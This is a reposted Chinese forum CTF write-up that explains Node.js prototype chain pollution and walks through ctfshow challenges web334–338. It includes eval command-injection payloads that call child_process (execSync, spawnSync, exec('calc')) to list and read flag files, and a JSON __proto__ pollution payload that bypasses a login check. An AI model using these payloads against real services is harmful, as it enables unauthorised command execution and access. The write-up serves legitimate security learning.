安全矩阵

 找回密码
 立即注册
搜索
查看: 2116|回复: 0

初探node.js相关之原型链污染

[复制链接]

251

主题

270

帖子

1783

积分

金牌会员

Rank: 6Rank: 6

积分
1783
发表于 2022-1-25 22:11:00 | 显示全部楼层 |阅读模式
本帖最后由 Meng0f 于 2022-1-25 22:27 编辑

初探node.js相关之原型链污染

转载于:w0w 衡阳信安 2022-01-24 00:01
前言
最近刷题刷到一个关于原型链污染的,想着之前学长琢磨过这些东西,刚好我最近又闲,就学习一下node.js的原型链污染,顺便了解一下node.js。

node.js基础
  1. 简单的说 Node.js 就是运行在服务端的 JavaScript。
  2. Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
  3. Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。
复制代码
这里就只讲解一下后续写题会涉及到的一些node.js的基础:
  1. node.js 允许用户从NPM服务器下载别人编写的第三方包到本地使用
复制代码
这就像python 一样pip下载包以后,通过import引入,而node.js是通过require引入的。

同步和异步
  1. <blockquote><p>Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync()。
  2. 异步的方法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。</p>
复制代码

简单的说就是:

当你先读取文件输出后输出一段话的时候
同步:先输出文件内容,再输出一段话
异步:先输出一段话,后输出文件内容
fs模块node.js的文件操作模块,我们本地建立一个sd.txt​



它的同步函数:readFileSync,异步函数:readFile

  1. var fs = require("fs");

  2. // 异步读取
  3. fs.readFile('sd.txt', function (err, data) {
  4.    if (err) {
  5.        return console.error(err);
  6.    }
  7.    console.log("异步读取: " + data.toString());
  8. });

  9. // 同步读取
  10. var data = fs.readFileSync('sd.txt');
  11. console.log("同步读取: " + data.toString());

  12. console.log("程序执行完毕。");
  13. 输出:
  14. 同步读取: wdwdwdw
  15. 文件读取实例

  16. 程序执行完毕。
  17. 异步读取: wdwdwdw
  18. 文件读取实例</code></pre>
  19. <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release1.9.8="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""></span>
复制代码



child_process模块
  1. <p>child_process提供了几种创建子进程的方式</p><blockquote><p>异步方式:spawn、exec、execFile、fork
  2. 同步方式:spawnSync、execSync、execFileSync
  3. 经过上面的同步和异步思想的理解,创建子进程的同步异步方式应该不难理解。
  4. 在异步创建进程时,spawn是基础,其他的fork、exec、execFile都是基于spawn来生成的。
  5. 同步创建进程可以使用child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() ,同步的方法会阻塞 Node.js 事件循环、暂停任何其他代码的执行,直到子进程退出。</p>
复制代码

其中的一些函数,在一些情况下,可以导致命令执行漏洞,后面写题时候会用到。

其中,JavaScript的继承关系并非像Java一样,有父类子类之分,而是通过一条原型链来进行继承的。


接下来我来讲一下我理解的原型链:
原型链在了解原型链之前,先了解两个关键字。
prototype:
  1. 在JavaScript中,prototype对象是实现面向对象的一个重要机制。

  2. 它是<strong>函数所独有的</strong>,它是从<strong>一个函数指向一个对象</strong> 它的含义是<strong>函数的原型对象</strong>,也就是这个函数(其实所有函数都可以作为构造函数)所创建的实例的原型对象
复制代码

这里直接举个例子
  1. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22function%20Food(bar%2Cbar1%2Cbar2)%20%7B%5Cn%20%20this.bar%20%3D%201%3B%5Cn%20%20%20%20this.bar1%3D5%3B%5Cn%7D%5Cnlet%20food%20%3D%20new%20Food()%3B%5CnFood.prototype.bar2%3D6%3B%5Cnconsole.log(food.bar1)%3B%5Cnconsole.log(food.bar2)%3B%5Cn%2F%2F5%5Cn%2F%2F6%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">function Food(bar,bar1,bar2) {
  2.   this.bar = 1;
  3.     this.bar1=5;
  4. }
  5. let food = new Food();
  6. Food.prototype.bar2=6;
  7. console.log(food.bar1);
  8. console.log(food.bar2);
  9. //5
  10. //6</code></pre>
  11. <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release1.9.8="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" height="15" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15"></span>
复制代码


可以看到,我们可以通过prototype属性,指向到这个函数的原型对象中然后创建bar2,赋值为6,之后我们用food作为Food的继承类,这个food就拥有bar2的属性。


proto
在实例化后,就不能通过prototype访问其原型对象了,而且prototype是函数特有的,那我们可以通过proto来访问他的原型对象
  1. 它是<strong>对象所独有的</strong>,<strong>proto</strong>属性都是由<strong>一个对象指向一个对象</strong>,即指向它们的原型对象(也可以理解为父对象)
复制代码

所以经过了解,我们可以得出这么的结论
Food.prototype===food.__proto__
  1. function Food(bar,bar1,bar2) {
  2.     this.bar = 1;
  3.     this.bar1=5;
  4. }
  5. let food = new Food();
  6. console.log(Food.prototype===food.__proto__);
复制代码


​然后我们来正式了解什么是原型链原型链
我们先看如下代码代码
  1. <div><div>function Food() {</div><div>    this.bar = 1;</div><div>    this.bar1=5;</div><div>}</div><div>function food(){</div><div>    this.bar=2;</div><div>}</div><div>food.prototype = new Food();</div><div>let food1 = new food();</div><div>console.log(food1.bar);</div><div>console.log(food1.bar1);</div></div>​
复制代码



food类继承Food的bar1属性
而我们输出实例化food1的bar1的时候,它的查找过程是这样的
1.先查找父对象是否拥有这个属性,如果没有
2.在实例化类的proto中查找,又因为Food.prototype===food.__proto__,所以在Food类里找到bar1
然而它的查找过程如下图所示



如果没有找到,就会一直向上一级的.proto进行查找,直到null
这种类似链的结构,被称为原型链

原型链污染
这里我直接用p神的代码进行解释了
  1. // foo是一个简单的JavaScript对象
  2. let foo = {bar: 1}

  3. // foo.bar 此时为1
  4. console.log(foo.bar)

  5. // 修改foo的原型(即Object)
  6. foo.__proto__.bar = 2

  7. // 由于查找顺序的原因,foo.bar仍然是1
  8. console.log(foo.bar)

  9. // 此时再用Object创建一个空的zoo对象
  10. let zoo = {}

  11. // 查看zoo.bar
  12. console.log(zoo.bar)
复制代码


​可以看到最后的空的zoo也拥有了bar的属性

我们输出zoo.bar的时候,node.js的引擎就开始在zoo中查找,发现没有,去zoo.proto中查找,即在Object中查找,而,我们的foo.proto.bar = 2,就是给Object添加了一个bar属性,而这个属性则被zoo继承。

这种修改了一个某个对象的原型对象,从而控制别的对象的操作,就是原型链污染。

实战
知识点中是要与题目串联的,前几题都是node.js的一些别的漏洞,帮助理解node.js相关题型的解法。

ctfshow web334
开启题目,给了两段代码


  1. //login.js
  2. var express = require('express');
  3. var router = express.Router();
  4. var users = require('../modules/user').items;

  5. var findUser = function(name, password){
  6.   return users.find(function(item){
  7.     return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  8.   });
  9. };

  10. /* GET home page. */
  11. router.post('/', function(req, res, next) {
  12.   res.type('html');
  13.   var flag='flag_here';
  14.   var sess = req.session;
  15.   var user = findUser(req.body.username, req.body.password);

  16.   if(user){
  17.     req.session.regenerate(function(err) {
  18.       if(err){
  19.         return res.json({ret_code: 2, ret_msg: '登录失败'});        
  20.       }

  21.       req.session.loginUser = user.username;
  22.       res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
  23.     });
  24.   }else{
  25.     res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  26.   }  

  27. });

  28. module.exports = router;

  29. //user.js
  30. module.exports = {
  31.   items: [
  32.     {username: 'CTFSHOW', password: '123456'}
  33.   ]
  34. };
复制代码
粗略的看两眼的代码,可以发现,只要登录,就会有flag,登陆账号密码是{username: 'CTFSHOW', password: '123456'},但是尝试登陆的时候


​发现不对劲,有猫腻,然后扭头,仔细看了看代码
  1. var findUser = function(name, password){
  2.   return users.find(function(item){
  3.     return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  4.   });
  5. };
复制代码
发现了这个toUpperCase(),而且name!=='CTFSHOW',所以只能ctfshow/Ctfshow不全为大写字母都行。


​ctfshow web335

开启环境


​看到eval,猜测是eval命令执行
去百度搜索一下,找一个payload尝试一下
用child_process模块的 exec 执行命令
?eval=require('child_process').exec('ls');


​回显不对劲,就没思路了,最后看了羽师傅的wp和别的师傅解释
猜测其代码为代码为eval('console.log(xxx)')
涉及同步和异步的问题我们使用的exec是异步进程,在我们输入ls,查取目录时,就已经eval执行了,所以我们要使用创造同步进程的函数


第一种方法require('child_process').execSync('ls')



require('child_process').execSync('cat fl00g.txt');


​或者用羽师傅的payload:

  1. <div>?eval=require(“child_process”).spawnSync(‘ls’).stdout.toString()</div><div>?eval=require( ‘child_process’ ).spawnSync( ‘cat’, [ ‘fl001g.txt’ ] ).stdout.toString()</div>
复制代码


方法二
参考Y4师傅的
global.process.mainModule.constructor._load('child_process').exec('calc')

ctfshow web336
依旧是eval


​被过滤了,使用羽师傅的payload试试
羽师傅的可以



ctfshow web337
  1. <div>var express = require('express');</div><div>var router = express.Router();</div><div>var crypto = require('crypto');</div><div>
  2. </div><div>function md5(s) {</div><div>  return crypto.createHash('md5')</div><div>    .update(s)</div><div>    .digest('hex');</div><div>}</div><div>
  3. </div><div>/* GET home page. */</div><div>router.get('/', function(req, res, next) {</div><div>  res.type('html');</div><div>  var flag='xxxxxxx';</div><div>  var a = req.query.a;</div><div>  var b = req.query.b;</div><div>  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){</div><div>    res.end(flag);</div><div>  }else{</div><div>    res.render('index',{ msg: 'tql'});</div><div>  }</div><div>
  4. </div><div>});</div><div>
  5. </div><div>module.exports = router;</div>
复制代码


给了提示
对某字符进行md5加密,然后get,a和b,需要a不等于b,但是md5加密后相等
这里可以用数组绕过md5的比较
payload
a=1&b=2

ctfshow web338(原型链污染)
终于到原型链污染了
给了源码,跟第一关一样的登录框。
找到login.js

  1. <div>var express = require('express');</div><div>var router = express.Router();</div><div>var utils = require('../utils/common');</div><div>
  2. </div><div>
  3. </div><div>
  4. </div><div>/* GET home page.  */</div><div>router.post('/', require('body-parser').json(),function(req, res, next) {</div><div>  res.type('html');</div><div>  var flag='flag_here';</div><div>  var secert = {};</div><div>  var sess = req.session;</div><div>  let user = {};</div><div>  utils.copy(user,req.body);</div><div>  if(secert.ctfshow==='36dboy'){</div><div>    res.end(flag);</div><div>  }else{</div><div>    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  </div><div>  }</div><div>
  5. </div><div>
  6. </div><div>});</div><div>
  7. </div><div>module.exports = router;</div>
复制代码


utils.copy(user,req.body);,这里就是突破口,通过给Object添加ctfshow的属性,使 if(secert.ctfshow==='36dboy')返回ture即可
payload  {"username":"asd","password":"asd","__proto__":{"ctfshow":"36dboy"}}



总结
初次接触node.js,别的漏洞还有很多,道阻且长,冲冲冲!

参考
https://m0re.top/posts/63e48fc9/
https://blog.csdn.net/miuzzx/art ... 1001.2014.3001.5501
https://blog.csdn.net/solitudi/article/details/111669500
https://www.leavesongs.com/PENET ... tml#0x02-javascript
https://www.runoob.com/nodejs/nodejs-tutorial.html

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 21:26 , Processed in 0.013408 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表